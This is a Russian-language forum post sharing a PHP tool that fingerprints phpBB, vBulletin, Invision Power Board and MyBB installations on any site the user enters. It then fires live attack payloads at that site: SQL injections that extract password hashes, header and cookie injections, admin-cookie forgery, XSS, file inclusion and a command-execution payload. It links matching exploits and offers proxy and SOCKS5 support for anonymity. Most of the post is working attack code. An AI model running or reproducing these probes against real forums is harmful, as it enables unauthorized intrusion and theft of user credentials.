Forum Detector – это скрипт, написанный на php, который поможет вам определить, что за форум установлен на интересующем вас сайте. Если конкретнее, то скрипт умеет:
- определять тип форума (на данный момент поддерживается распознавание IPB, phpBB, vBulletin, MyBB)
- определять версию форума по разным критериям
- определять возможные уязвимости форума и предлагать подходящие для них эксплойты
- определять ТиЦ и PR сайта
- есть поддержка прокси, socks5, прокси с авторизацией, socks5 с авторизацией

Код:
<?php
set_time_limit(0);
print <<<HERE
<html><head><title>Forum Detector 1.0 beta by dx</title>
<style>
INPUT
{
BORDER-RIGHT: rgb(50,50,50) 1px outset;
BORDER-TOP: rgb(50,50,50) 1px outset;
FONT-SIZE: 11px;
font-family:Arial;
BORDER-LEFT: rgb(50,50,50) 1px outset;
BORDER-BOTTOM: rgb(50,50,50) 1px outset;
}
button
{
BORDER-RIGHT: rgb(50,50,50) 1px outset;
BORDER-TOP: rgb(50,50,50) 1px outset;
FONT-SIZE: 10px;
BORDER-LEFT: rgb(50,50,50) 1px outset;
BORDER-BOTTOM: rgb(50,50,50) 1px outset;
width:50px;
}
a,a:active,a:visited
{
background: transparent;
color: #34498B;
text-decoration: none;
font-weight:700;
font-size:12;
font-family:Arial;
}
a:hover
{
background: transparent;
color: blue;
font-weight:700;
font-family:Arial;
font-size:12;
text-decoration: none;
}
</style>
</head><body>
HERE;

if(!isset($_POST['f']) || is_array($_POST['f']) || strlen(trim($_POST['f']))<3)
{
print <<<HERE
<center><h3>Forum Detector 1.0 beta by dx</h3></center><hr>
<form action='?' method='post'>
Адрес форума: <input type='text' name='f'> <input type='submit' value='Анализировать'>
<hr>Дополнительные настройки:<br><br>
<input type='checkbox' name='prcy' checked> Определить PR и ТиЦ<br>
<input type='radio' value='0' name='p' checked> Не использовать прокси и socks5<br>
<input type='radio' value='1' name='p'> Использовать HTTP-прокси<br>
<input type='radio' value='2' name='p'> Использовать Socks5<br>
<table border=0 cellpadding=1 cellspacing=1><tr><td>
Адрес: </td><td><input type='text' name='pr'>:<input type='text' name='pp' style='width:50px'></td></tr>
<tr><td>Логин и пароль (если необходимы): </td><td><input type='text' name='login'>:<input type='text' name='pass'>
</td></tr></table>
</form>
<hr>Скрипт позволяет определить тип и версию форума по заданному адресу, ищет некоторые известные уязвимости, дает ссылки на подходящие эксплойты. В данный момент скрипт умеет определять версии phpBB, vBulletin, Invision Power Board, MyBB.
<br><a href='http://kaimi.ru/' target='_blank'>&copy; dx</a>
</body></html>
HERE;
  exit();
}

$f=trim($_POST['f']);
if(strtolower(substr($f,0,7))!=='http://')
  $f='http://'.$f;

if(!preg_match("/^http:\/\/([a-z0-9])([a-z0-9\-]+)(\.[a-z0-9\-]+)*(\.[a-z]+)(\/(.*))*$/i",$f))
  die('Введен недопустимый URL. Вернитесь <a href="?">назад</a> и повторите попытку.');

$url=parse_url($f);
$uri=$url['path'];
$domain=$url['host'];
$port=$url['port'] ? $url['port'] : '80';

$bugs=Array();
$sploits=Array();

$s=new websock($domain,$port,false);

if(isset($_POST['p']) && !is_array($_POST['p']) && $_POST['p']!='0')
{
  $pp=isset($_POST['pp']) && !is_array($_POST['pp']) ? $_POST['pp'] : '';
  $pr=isset($_POST['pr']) && !is_array($_POST['pr']) ? $_POST['pr'] : '';
  $login=isset($_POST['login']) && !is_array($_POST['login']) ? $_POST['login'] : '';
  $pass=isset($_POST['pass']) && !is_array($_POST['pass']) ? $_POST['pass'] : '';

  if(!preg_match("/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/",$pr))
    die('Введен недопустимый адрес прокси/socks. Вернитесь <a href="?">назад</a> и повторите попытку.');

  if(!preg_match("/^\d{1,5}$/",$pp))
    die('Введен недопустимый порт прокси/socks. Вернитесь <a href="?">назад</a> и повторите попытку.');

  if($_POST['p']=='1')
    $s->set_proxy($pr,$pp,$login,$pass);
  else
    $s->set_socks5($pr,$pp,$login,$pass);
}

$uri=rtrim($uri,'/').'/';

$f2=htmlspecialchars($f);
print_flush("<b>Анализ $domain$uri...</b><br><br>Определение типа форума...<br>");



if(!@$s->sconnect())
  die('Ошибка подключения: '.htmlspecialchars($s->serr()).' Вернитесь <a href="?">назад</a> и повторите попытку.');

$s->sclose();

$ret=$s->get($uri);

$reth=$ret[0];
$ret=$ret[1];


$ret2=$s->get($uri.'install/resources/settings.xml');
$mybb=found($ret2);

if(!$mybb)
{
  $ret2=$s->get($uri.'clientscript/vbulletin_editor.css');
  $vb=found($ret2);

  if(!$vb)
  {
    $ret2=$s->get($uri.'jscripts/ipb_global.js');
    $ipb=found($ret2);
  }
}


$ver='';


$ftype='Не удалось определить';

if(isset($_POST['prcy']))
{
  $prcy=get_prcy(str_replace('/','',$domain));
  print_flush('Определено: <b>PR: '.$prcy[0].' CY: '.$prcy[1].'</b><br>');
}

if($ipb || strpos($ret,'IP.Board</a>')!==false || preg_match("/>Powered by Invision Power Board \d+\.\d+(\.\d+)?<\/div>/isU",$ret) || strpos($ret,"Powered by <a href=\"http://www.invisionboard.com")!==false || preg_match("/<title>[\S\s]+\(Powered by Invision Power Board\)<\/title>/isU",$ret) || preg_match("/<!-- Copyright Information -->\n[\s\S]+<!-- \/ Copyright -->/isU",$ret) || strpos($ret,"<div id='ipbcopyright'>")!==false || (strpos($ret,'<!-- Copyright Information -->')!==false && strpos($ret,'Powered By IP.Board')!==false))
{
  $ftype='IPB';

  print_flush('Это <b>Invision Power Board</b>. Определяем версию...<br>');

  preg_match("/showforum=(\d+)/is",$ret,$m);
  $someforum=isset($m[1]) ? $m[1] : 1;

  preg_match("/showtopic=(\d+)/is",$ret,$m);
  $sometopic=isset($m[1]) ? $m[1] : 1;


  preg_match("/=([0-9a-z]{32})/is",$reth,$m);
  $sid=isset($m[1]) ? $m[1] : '';


  preg_match("/(\d+\.\d+(\.\d+)?).{1,20} &copy; \d+ &nbsp;<a href='http:\/\/www.invisionpower.com'/isU",$ret,$m);
  if(isset($m[1]))
  {
    $ver='['.$m[1].']';
  }
  else
  {
    preg_match("/>Powered by Invision Power Board (\d+\.\d+(\.\d+)?)<\/div>/isU",$ret,$m);
    if(isset($m[1]))
      $ver='['.$m[1].']';
  }


  print_flush('Дополнительное определение версий...<br>');


  $ret2=$s->get($uri.'jscripts/ipb_forum.js');
  preg_match("/Last\-Modified: (.+)\r\n/isU",$ret2[0],$dt);
  if(isset($dt[1]))
    $ver.=' [примерная дата установки: '.$dt[1].']';

  $ret2=$s->get($uri.'html/emoticons/');
  if(found($ret2))
    $ver.=' [1.3.x]';


  $ret2=$s->get($uri.'initdata.php');
  if(found($ret2))
  {
    $ver.=' [3.0.x]';
  }
  else
  {
    $ret2=$s->get($uri.'interface/');
    $ret3=$s->get($uri.'mod_install/');
    $ret4=$s->get($uri.'ips_kernel/db_lib/');
    if((found($ret2) && found($ret3)) || found($ret4))
    {
      $ver.=' [2.3.x]';
    }
    else
    {
      $ret2=$s->get($uri.'style_captcha/');
      $ret3=$s->get($uri.'converge_local/');
      if(found($ret2) && found($ret3))
      {
        $ver.=' [2.2.x]';
      }
      else
      {
        $ret2=$s->get($uri.'jscripts/ipb_editor_std.js');
        if(found($ret2))
        {
          $ver.=' [2.1.x]';
        }
        else
        {
          $ret2=$s->get($uri.'/sources/usercp.php');
          $ret3=$s->get($uri.'/sources/taskloader.php');
          if(found($ret2) && found($ret3))
            $ver.=' [2.0.x]';
        }
      }
    }
  }



  print_flush('Проверка уязвимостей...<br>');

  if(strpos($ver,'1.3')!==false)
  {
    $hex="0123456789abcdef";

    $idx=0;

    while(1)
    {
      $letter=substr($hex,$idx,1);
      $cookie="member_id=10;pass_hash=123%2527%20OR%20id=1%20HAVING%20id=1%20AND%20MID(`password`,0,1)=%2527".$letter;
      $ret2=$s->get($uri.'index.php?act=Login&CODE=autologin','',$cookie);

      if(!preg_match("/Location:(.*)act=Login&CODE=00/",$ret2[0]))
      {
        $bugs[]='<b>SQL-Injection в cookies</b>';
        $sploits[]='<a href="http://milw0rm.com/id.php?id=1036" target="_blank">SQL-Injection в cookies</a>';
        $sploits[]='<a href="http://www.securitylab.ru/vulnerability/203717.php" target="_blank">SQL-Injection в ssi.php</a>';
        $ver.=' [&lt;=1.3.1 final]';
        break;
      }

      $idx++;
      if($idx==16)
        break;
    }
  }

  $ret2=$s->get($uri."index.php?s=$sid&act=Post&CODE=02&f=$someforum&t=$sometopic&qpid=x99");
  if(strpos($ret2[1],'mySQL query error:')!==false)
  {
    $bugs[]='<b>SQL-инъекция: </b>'.$domain.$uri."index.php?s=$sid&act=Post&CODE=02&f=$someforum&t=$sometopic&qpid=x99";
    $sploits[]='<a href="http://milw0rm.com/id.php?id=648" target="_blank">Получение хеша пароля</a>';
    $ver.=' [2.0.0-2.0.2]';
  }


  $ret2=$s->get($uri."index.php?showforum=$someforum&prune_day=100&sort_by=Z-A&sort_key='");
  if(strpos($ret2[1],'mySQL query error:')!==false)
  {
    $bugs[]='<b>SQL-инъекция: </b>'.$domain.$uri."index.php?showforum=$someforum&prune_day=100&sort_by=Z-A&sort_key='";
    $sploits[]='<a href="http://www.securitylab.ru/vulnerability/202735.php" target="_blank">Информация о SQL-инъекции</a>';
    $ver.=' [2.0.0-2.0.2]';
  }


  $ret2=$s->get($uri.'jscripts/folder_rte_files/module_image.php?editorid='.urlencode('";alert(document.cookie);var i="'));
  if(strpos($ret2[1],'alert(document.cookie);var i=""')!==false)
  {
    $bugs[]='<b>Пассивная XSS (magic_quotes_gpc выключено): </b>'.$domain.$uri.'jscripts/folder_rte_files/module_image.php?editorid='.urlencode('";alert(document.cookie);var i="');
    $ver.=' [&lt;=2.2.2]';
  }
  else if(strpos($ret2[1],'alert(document.cookie);var i=\\""')!==false)
  {
    $bugs[]='<b>Пассивная XSS, но включено magic_quotes_gpc: </b>'.$domain.$uri.'jscripts/folder_rte_files/module_image.php?editorid='.urlencode('";alert(document.cookie);var i="');
    $ver.=' [~2.2.2]';
  }


  $ret2=$s->get($uri.'index.php?act=xmlout&do=check-display-name&name=somethingfoobarkind%2527%20OR%201=1--%20');
  if($ret2[1]==='found')
  {
    $bugs[]='<b>SQL-Injection: </b>'.$domain.$uri.'index.php?act=xmlout&do=check-display-name&name=somethingfoobarkind%2527%20OR%201=1--%20';
    $sploits[]='<a href="http://www.milw0rm.com/exploits/6507" target="_blank">SQL-Injection &lt=2.3.5</a>';
    $ver.=' [&lt;=2.3.5]';
  }


  print_flush('Проверка уязвимостей некоторых дополнений...<br>');

  $ret2=$s->get($uri."index.php?s=&act=army&userstat=0+test");
  if(strpos($ret2[1],'mySQL query error:')!==false)
    $bugs[]='<b>SQL-инъекция в Army mod: </b>'.$domain.$uri."index.php?s=&act=army&userstat=0+test";

  $ret2=$s->get($uri."index.php?act=Arcade&module=report&user=-1%20union%20select%20575757575");
  if(strpos($ret2[1],'575757575')!==false && strpos($ret2[1],'user=-1')===false)
  {
    $bugs[]='<b>SQL-инъекция в Arcade mod: </b>'.$domain.$uri."index.php?act=Arcade&module=report&user=-1%20union%20select%20575757575";
    $sploits[]='<a href="http://www.milw0rm.com/exploits/1296" target="_blank">SQL-Injection &lt=2.3.5</a>';
  }
}
else if($vb || preg_match("/>Copyright &copy;\d+ \- \d+, Jelsoft Enterprises Ltd/isU",$ret) || preg_match("/<div id=\"copyright\">vBulletin v[\S\s]+ Jelsoft Enterprises Ltd\.<\/div>/isU",$ret) || preg_match("/<title>[\S\s]+ \- [Pp]{0,1}owered by vBulletin<\/title>/isU",$ret) || preg_match("/<!-- Do not remove this copyright notice -->\n[\s\S]+<!-- Do not remove this copyright notice -->/isU",$ret) || strpos($ret,"<!-- breadcrumb, login, pm info -->")!==false)
{
  $ftype='vBulletin';

  print_flush('Это <b>vBulletin</b>. Определяем версию...<br>');

  preg_match("/vBulletin&reg; .{1,20} (\d+\.\d+\.\d+)([^\d]|<br)/isU",$ret,$m);
  if(isset($m[1]))
  {
    $ver='['.$m[1].']';
  }

  print_flush('Дополнительное определение версий...<br>');

  $ret2=$s->get($uri.'clientscript/vbulletin_textedit.js');
  preg_match("/Last\-Modified: (.+)\r\n/isU",$ret2[0],$dt);
  if(isset($dt[1]))
    $ver.=' [Примерная дата установки: '.$dt[1].']';



  $ret2=$s->get($uri.'clientscript/vbulletin_editor.css');

  if(!preg_match("/vBulletin (\d+\.\d+\.\d+)( Patch Level \d+)/isU",$ret2[1],$m))
    preg_match("/vBulletin (\d+\.\d+\.\d+)/isU",$ret2[1],$m);

  if(isset($m[1]))
    $ver.=isset($m[2]) ? ' [clientscript/vbulletin_editor.css: '.$m[1].' '.$m[2].']' : ' [clientscript/vbulletin_editor.css: '.$m[1].']';


  $ret2=$s->get($uri.'clientscript/vbulletin_editor.css');
  if(!preg_match("/vBulletin (\d+\.\d+\.\d+)( Patch Level \d+)/isU",$ret2[1],$m))
    preg_match("/vBulletin (\d+\.\d+\.\d+)/isU",$ret2[1],$m);

  if(isset($m[1]))
    $ver.=isset($m[2]) ? ' [clientscript/vbulletin_editor.css: '.$m[1].' '.$m[2].']' : ' [clientscript/vbulletin_editor.css: '.$m[1].']';

  $ret2=$s->get($uri.'install/finalupgrade.php');
  preg_match("/vBulletin (\d+\.\d+\.\d+) /isU",$ret2[1],$m);
  if(isset($m[1]))
    $ver.=' [install/finalupgrade.php: '.$m[1].']';


  $ret2=$s->get($uri.'includes/functions_banning.php');
  if(found($ret2))
  {
    $ver.=' [~3.6.4]';
  }
  else
  {
    $ret2=$s->get($uri.'admincp/admininfraction.php');
    if(found($ret2))
    {
      $ver.=' [~3.6.0]';
    }
    else
    {
      $ret2=$s->get($uri.'ajax.php');
      if(found($ret2))
        $ver.=' [~3.5.0]';
    }
  }


  print_flush('Проверка уязвимостей...<br>');

  $ret2=$s->get($uri.'search.php?do=process&showposts=0&query='.urlencode('<script>alert(/111/);</script>'));
  if(strpos($ret2[1],'<script>alert(/111/);</script>')!==false)
  {
    $bugs[]='<b>Пассивная XSS: </b>'.$domain.$uri.'search.php?do=process&showposts=0&query='.urlencode('<script>alert(/111/);</script>');
    $ver.=' [3.0.0-3.0.4]';
  }


  $ret2=$s->get($uri.'install/upgrade_301.php?step=SomeWord');
  if(strpos($ret2[1],'sqltable')!==false)
  {
    $bugs[]='<b>Дамп любых таблиц: </b>'.$domain.$uri.'install/upgrade_301.php?step=SomeWord';
    $ver.=' [&lt;=3.5.4]';
  }


  $ret2=$s->get($uri.'admincp/index.php?do=buildnavprefs&nojs=0&prefs='.urlencode('"><script>alert("123")</script>'));
  if(strpos($ret2[1],'alert("123")')!==false)
  {
    $bugs[]='<b>Пасивная XSS: </b>'.$domain.$uri.urlencode('"><script>alert("123")</script>');
    $ver.=' [3.5.4]';
  }


  $ret2=$s->post($uri.'ajax.php?do=CheckUsername&param='.urlencode('"><script>alert("xss")</script>'));
  if(strpos($ret2[1],'alert("xss")')!==false)
    $bugs[]='<b>Пасивная XSS: </b>'.$domain.$uri.'ajax.php?do=CheckUsername&param='.urlencode('"><script>alert("xss")</script>');


  $ret2=$s->get($uri.'validator.php');
  if(found($ret2))
  {
    $bugs[]='<b>Найден валидатор: </b>'.$domain.$uri.'validator.php';
    $ver.=' [3.6.x]';
  }
}
else
if(strpos($ret,'We request you retain the full copyright notice below including the link to www.phpbb')!==false || strpos($ret,"<!--\n/*\n  The original subSilver Theme")!==false || preg_match("/<title>[\S\s]+ [\(]{0,1}Powered by phpBB[\)]{0,1}<\/title>/isU",$ret) || preg_match("/<img src=\"templates\/\S{1,}\/images\/folder_new_big.gif\"/isU",$ret) || preg_match("/<a href=\"http:\/\/www\.phpbb\.com\/\" target=\"_phpbb\" class=\"copyright\">/isU",$ret) || strpos($ret,"Powered by <a href=\"http://www.phpbb")!==false)
{
  $ftype='phpBB';

  print_flush('Это <b>phpBB</b>. Определяем версию...<br>');

  preg_match("/viewforum\.php\?f=(\d+)/is",$ret,$m);
  $someforum=isset($m[1]) ? $m[1] : 1;

  $sep='t';

  preg_match("/viewtopic\.php\?t=(\d+)/is",$ret,$mt);
  if(!isset($mt[1]))
  {
    preg_match("/viewtopic\.php\?p=(\d+)/is",$ret,$mt);
    $sometopic=isset($mt[1]) ? $mt[1] : 1;
    if(isset($m[1]))
      $sep='p';
  }
  else
  {
    $sometopic=$mt[1];
  }



  $ret2=$s->get($uri.'docs/CHANGELOG.html');
  $ret2=$ret2[1];

  preg_match("/<span class=\"maintitle\">phpBB (.{1,15}) CHANGELOG<\/span><\/td>/isU",$ret2,$mv);
  if(isset($mv[1]))
    $ver='[версия при установке: '.$mv[1].']';

  if($ver=='' || !preg_match("/^\d+\.\d+\.\d+$/",$ver))
  {
    preg_match("/Changes since (.{1,15})<\/a><\/li>/isU",$ret2,$mv);
    if(isset($mv[1]))
    {
      $ver=$mv[1];
      if(preg_match("/^(\d+)\.(\d+)\.(\d+)$/",$ver,$mv))
        $ver='[версия при установке: '.$mv[1].'.'.$mv[2].'.'.($mv[3]+1).']';
    }
  }


  print_flush('Дополнительное определение версий...<br>');

  $ret2=$s->get($uri.'images/spacer.gif');
  preg_match("/Last\-Modified: (.+)\r\n/isU",$ret2[0],$dt);
  if(isset($dt[1]))
    $ver.=' [Примерная дата установки: '.$dt[1].']';


  $ret2=$s->get($uri.'admin/admin_disallow.php?setmodules=00');
  if(strpos($ret2[1],'Call to undefined function')!==false)
  {
    $bugs[]='<b>Раскрытие путей: </b>'.$domain.$uri.'admin/admin_disallow.php?setmodules=00';
    $ver.=' [&lt;2.0.19]';
  }

  $ret2=$s->get($uri.'index.php?category_rows=aaaa');
  if(strpos($ret2[1],'operator not supported for strings')!==false)
  {
    $bugs[]='<b>Раскрытие путей: </b>'.$domain.$uri.'index.php?category_rows=aaaa';
    $ver.=' [&lt;=2.0.4]';
  }


  $ret2=$s->get($uri.'ucp.php');
  if(found($ret2))
    $ver.=' [&gt;=3.0.0]';


  $ret2=$s->get($uri.'viewforum.php?f='.$someforum.'&start=-1');
  if(strpos($ret2[1],'Could not obtain topic information')!==false)
  {
    $bugs[]='<b>Определение префиксов таблиц: </b>'.$domain.$uri.'viewforum.php?f='.$someforum.'&start=-1';
    $ver.=' [&lt;=2.0.21]';
  }

  print_flush('Проверка уязвимостей...<br>');

  $ret2=$s->post($uri.'admin/admin_styles.php?mode=addnew','send_file=1&install_to=index.htm%00');
  if(strpos($ret2[1],'<body bgcolor="#FFFFFF" text="#000000">')!==false)
  {
    $bugs[]='<b>File-include:</b> POST '.$domain.$uri.'admin/admin_styles.php?mode=addnew; Параметры: send_file=1&amp;install_to=Локальное_или_удаленное_имя_файла%00';
    $sploits[]='<a href="http://milw0rm.com/id.php?id=47" target="_blank">Просмотр или исполнение файлов</a>';
    $ver.=' [~2.0.4]';
  }

  $ret2=$s->get($uri.'viewtopic.php?sid=1&topic_id=-1%20union%20select%2056765/*&view=newest');
  if(strpos($ret2[0],'56765#56765')!==false)
  {
    $bugs[]='<b>Получение хеша пароля:</b> Пример запроса с SQL-инъекцией: '.$domain.$uri.'viewtopic.php?sid=1&topic_id=-1%20union%20select%2056765/*&view=newest';
    $sploits[]='<a href="http://milw0rm.com/id.php?id=44" target="_blank">Получение хеша пароля</a>';
    $ver.=' [~2.0.5]';
  }

  $ret2=$s->get($uri."search.php?search_id=-1%20union%20select%20'''");
  if(strpos($ret2[1],'DEBUG MODE')!==false)
  {
    $bugs[]='<b>SQL-инъекция:</b> Пример запроса с SQL-инъекцией: '.$domain.$uri."search.php?search_id=-1%20union%20select%20'''";
    $sploits[]='<a href="http://milw0rm.com/id.php?id=137" target="_blank">Получение хеша пароля (search.php)</a>';
    $ver.=' [~2.0.6]';
  }

  $ret2=$s->get($uri."viewtopic.php?$sep=$sometopic&rush=%65%63%68%6F%20%5F%53%54%41%52%54%5F%3B%20%6C%73%3B%20%65%63%68%6F%20%5F%45%4E%44%5F&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5F%47%45%54%5F%56%41%52%53%5B%72%75%73%68%5D%29.%2527");
  if(strpos($ret2[1],'<TITLE>500')!==false || strpos($ret2[1],'extension.inc')!==false)
  {
    $bugs[]='<b>Выполнение произвольных команд через viewtopic.php</b>';
    $sploits[]='<a href="http://milw0rm.com/id.php?id=647" target="_blank">Выполнение произвольных команд через viewtopic.php</a>';
    $ver.=' [2.0.7-2.0.10]';
  }

  $ret2=$s->get($uri,'',"phpbb2mysql_data=a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb%3A1%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D");
  if(strpos($ret2[1],'<a href="admin/index.php?')!==false)
  {
    $bugs[]='<b>Подмена cookies: </b>phpbb2mysql_data=a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb%3A1%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D';
    $sploits[]='<a href="http://www.milw0rm.com/exploits/889" target="_blank">Подмена cookies и получение прав администратора</a>';
    $ver.=' [&lt;=2.0.12]';
  }

  $ret2=$s->get($uri."viewtopic.php?$sep=$sometopic&highlight='.printf(blaaaaaaaa).'");
  if(preg_match("/[^8\(]blaaaaaaaa/",$ret2[1]))
  {
    $bugs[]='<b>Выполнение PHP-кода: </b>'.$domain.$uri."viewtopic.php?$sep=$sometopic&highlight='.printf(blaaaaaaaa).'";
    $sploits[]='<a href="http://milw0rm.com/id.php?id=1080" target="_blank">Выполнение PHP-кода</a>';
    $ver.=' [&lt;=2.0.15]';
  }

  print_flush("Проверка уязвимостей некоторых модификаций...<br>");

  $ret2=$s->get($uri."index.php?s=-99%20UNION%20SELECT%20null,user_password,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null%20FROM%20phpbb_users%20Where%20user_id=2/*");
  if(preg_match("/open(.{1,10})template/is",$ret2[1]))
  {
    $bugs[]='<b>SQL-инъекция в style changer/demo mod</b>';
    $sploits[]='<a href="http://www.milw0rm.com/exploits/1469" target="_blank">SQL-инъекция в style changer/demo mod</a>';
    $ver.=' [~2.0.19]';
  }

  $ret2=$s->get($uri."downloads.php?cat=-1%20UNION%20SELECT%200,1212121212121,0,0,0,0,0,0,0/*");
  if(strpos($ret2[1],'1212121212121')!==false && found($ret2))
  {
    $bugs[]='<b>SQL-инъекция в downloads mod</b>';
    $sploits[]='<a href="http://www.milw0rm.com/exploits/907" target="_blank">SQL-инъекция в downloads mod</a>';
  }

  $ret2=$s->get($uri."filebase.php?d=1&id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,5,6,7,8,9,10,1212121212121,12,13,14/**/FROM/**/phpbb_users/*");
  if(strpos($ret2[1],'1212121212121')!==false && found($ret2))
  {
    $bugs[]='<b>SQL-инъекция в mod filebase</b>';
    $sploits[]='<a href="http://www.milw0rm.com/exploits/5236" target="_blank">SQL-инъекция в mod filebase</a>';
  }


  $ret2=$s->get($uri."links.php?t=search&search_keywords=asd&start=1,1%20UNION%20SELECT%201,121212121211,user_password,4,5,6,7,8,9,10,11,12%20FROM%20phpbb_users%20WHERE%20user_id=2/*");
  if(strpos($ret2[1],'121212121211')!==false && found($ret2))
  {
    $bugs[]='<b>SQL-инъекция в Links Mod</b>';
    $sploits[]='<a href="http://www.milw0rm.com/exploits/4346" target="_blank">SQL-инъекция в Links Mod</a>';
  }


  $ret2=$s->get($uri."forum.php?c=-1/**/UNION/**/SELECT/**/0,1,2,3,4,121212121212121,6/**/FROM/**/minerva_users%20where%20user_id=2/*");
  if(strpos($ret2[1],'121212121212121')!==false && found($ret2))
  {
    $bugs[]='<b>SQL-инъекция в Minerva Mod</b>';
    $sploits[]='<a href="http://www.milw0rm.com/exploits/4346" target="_blank">SQL-инъекция в Minerva Mod</a>';
    $ver.=' [&lt;=2.0.21]';
  }

  $ret2=$s->get($uri."alltopics.php?mode=&order=ASC&start=-1%20UNION%20SELECT%20523117/*");
  if(strpos($ret2[1],'523117')!==false && found($ret2))
  {
    $bugs[]='<b>SQL-инъекция в All Topics mod</b>';
    $sploits[]='<a href="http://www.milw0rm.com/exploits/2248" target="_blank">SQL-инъекция в All Topics mod</a>';
  }

}
else
if($mybb || strpos($ret,'misc.php?action=syndication')!==false || strpos($ret,'Powered By <a href="http://www.mybboard.net" target="_blank">MyBB')!==false || strpos($ret,'http://mybboard.net/contact">')!==false || strpos($ret,'You may NOT remove, modify or hinder the visibility of the MyBB copyright at any time')!==false || strpos($ret,"n='mybb_ctest'")!==false || preg_match("/<a href=\"http:\/\/www\.mybboard\.com\" target=\"_blank\">MyBB<\/a>/isU",$ret) || preg_match("/<a id=\"mybb\" href=\"http:\/\/mybb.ru\/\" target=\"_blank\">MyBB<\/a>/isU",$ret))
{
  $ftype='MyBB';

  $ret2=$s->get($uri.'install/resources/settings.xml');
  preg_match("/<settings version=\"(\d+)\"/isU",$ret2[1],$m);
  if(isset($m[1]))
    $ver.=' [ install/resources/settings.xml: '.$m[1].']';

  $ret2=$s->get($uri.'/install/resources/mybb_theme.xml');
  preg_match("/ version=\"(\d+)\">/isU",$ret2[1],$m);
  if(isset($m[1]))
    $ver.=' [ install/resources/settings.xml: '.$m[1].']';


  $ret2=$s->get($uri."calendar.php?action=event&eid='%20UNION%20SELECT%20121212121,121212121,null,null,null,null,121212121,null/*");
  if(strpos($ret2[1],'121212121')!==false && found($ret2))
  {
    $bugs[]='<b>SQL-инъекция в calendar.php</b>';
    $sploits[]='<a href="http://milw0rm.org/exploits/1022" target="_blank">SQL-инъекция в calendar.php</a>';
    $ver.=' [&lt;=1.0.0 RC4]';
  }

  $ret2=$s->get($uri."search.php?s=de1aaf9b&action=do_search&keywords=%3Cscript%3Ealert(1)%3C/script%3E&srchtype=3");
  if(strpos($ret2[1],'<script>alert(1)')!==false)
  {
    $bugs[]='<b>Пассивная XSS в search.php</b>'.$domain.$uri."search.php?s=de1aaf9b&action=do_search&keywords=%3Cscript%3Ealert(1)%3C/script%3E&srchtype=3";
    $ver.=' [~1.0.2]';
  }


  $ret2=$s->get($uri."index.php?referrer=9999999999'%20UNION%20SELECT%20121212112121,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9%20FROM%20mybb_users%20WHERE%20uid=1/*");
  if(strpos($ret2[1],'121212112121')!==false)
  {
    $bugs[]='<b>SQL-инъекция: </b>'.$domain.$uri."index.php?referrer=9999999999'%20UNION%20SELECT%20121212112121,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9%20FROM%20mybb_users%20WHERE%20uid=1/*";
    $ver.=' [&lt;=1.1.2]';
  }


  $s->sconnect();
  $s->get_header($uri.'index.php','','','GET','','',"CLIENT-IP: 'qwerty/*\r\n");
  $s->swrite();
  $ret2=$s->http11read();
  $s->sclose();
  if(strpos($ret2[1],'You have an error in your SQL syntax')!==false)
  {
    $bugs[]='<b>SQL-инъекция в CLIENT-IP</b>';
    $sploits[]='<a href="http://www.security.nnov.ru/files/mybbsipsql.php" target="_blank">SQL-инъекция в CLIENT-IP</a>';
    $ver.=' [&lt;=1.1.5]';
  }

  $s->sconnect();
  $s->get_header($uri.'index.php','','','GET','','',"CLIENT_IP: 123' or 1=(select null from mybb_users where length(if(ascii(substring((select password from mybb_users where uid=1),1,1))>1,password,uid))>254)/*\r\n");
  $s->swrite();
  $ret2=$s->http11read();
  $s->sclose();
  if(strpos($ret2[1],'Subquery returns more than 1 row')!==false)
  {
    $bugs[]='<b>SQL-инъекция в CLIENT-IP</b>';
    $sploits[]='<a href="http://www.milw0rm.com/exploits/3719" target="_blank">SQL-инъекция в CLIENT-IP</a>';
    $ver.=' [&lt;=1.2.2]';
  }


  $ret2=$s->get($uri."calendar.php?action=dayview&year=2007&month=3&day=1111111'%20OR%201=1/*");
  if(strpos($ret2[1],'profile')!==false)
  {
    $bugs[]='<b>SQL-инъекция в calendar.php</b>';
    $sploits[]='<a href="http://www.securitylab.ru/poc/extra/294837.php" target="_blank">SQL-инъекция в calendar.php</a>';
    $ver.=' [&lt;=1.2.5]';
  }

  $ret2=$s->get($uri."forumdisplay.php?fid=$fid&sortby=']=1;echo%20'*';echo%20'*';%20\$orderarrow['");
  if(strpos($ret2[1],'**')!==false)
  {
    $bugs[]='<b>Выполнение PHP-кода</b>';
    $sploits[]='<a href="http://www.milw0rm.com/exploits/4927" target="_blank">Выполнение PHP-кода</a>';
    $ver.=' [&lt;=1.2.10]';
  }

  $ret2=$s->get($uri.'inc/3rdparty/diff/Diff/Renderer/unified.php');
  if(strpos($ret2[1],'require_once')!==false)
  {
    $bugs[]='<b>Раскрытие путей: </b>'.$domain.$uri.'inc/3rdparty/diff/Diff/Renderer/unified.php';
    $ver.=' [~1.4.x]';
  }
}


print '<b>Определено: </b>'.$ftype.' '.$ver;



if(count($bugs)<1)
  $bugs[]='не найдено';

if(count($sploits)<1)
  $sploits[]='не найдено';


print '<hr><b>Найденные уязвимости: </b><br>'.implode('<br>',$bugs).'<hr><b>Подходящие эксплойты: </b><br>'.implode('<br>',$sploits);


if(strtolower(substr($domain,0,4))=='www.')
  $domain=substr($domain,4);

print "<hr><b>Рекомендуется посмотреть: </b><br><a href='http://www.google.ru/search?hl=ru&q=inurl%3A".$domain."+\"mysql+error\"' target='_blank'>Что заметил google (SQL)</a><br><a href='http://www.google.ru/search?hl=ru&q=inurl%3A".$domain."+\"warning%3A \"' target='_blank'>Что заметил google (другое)</a>";
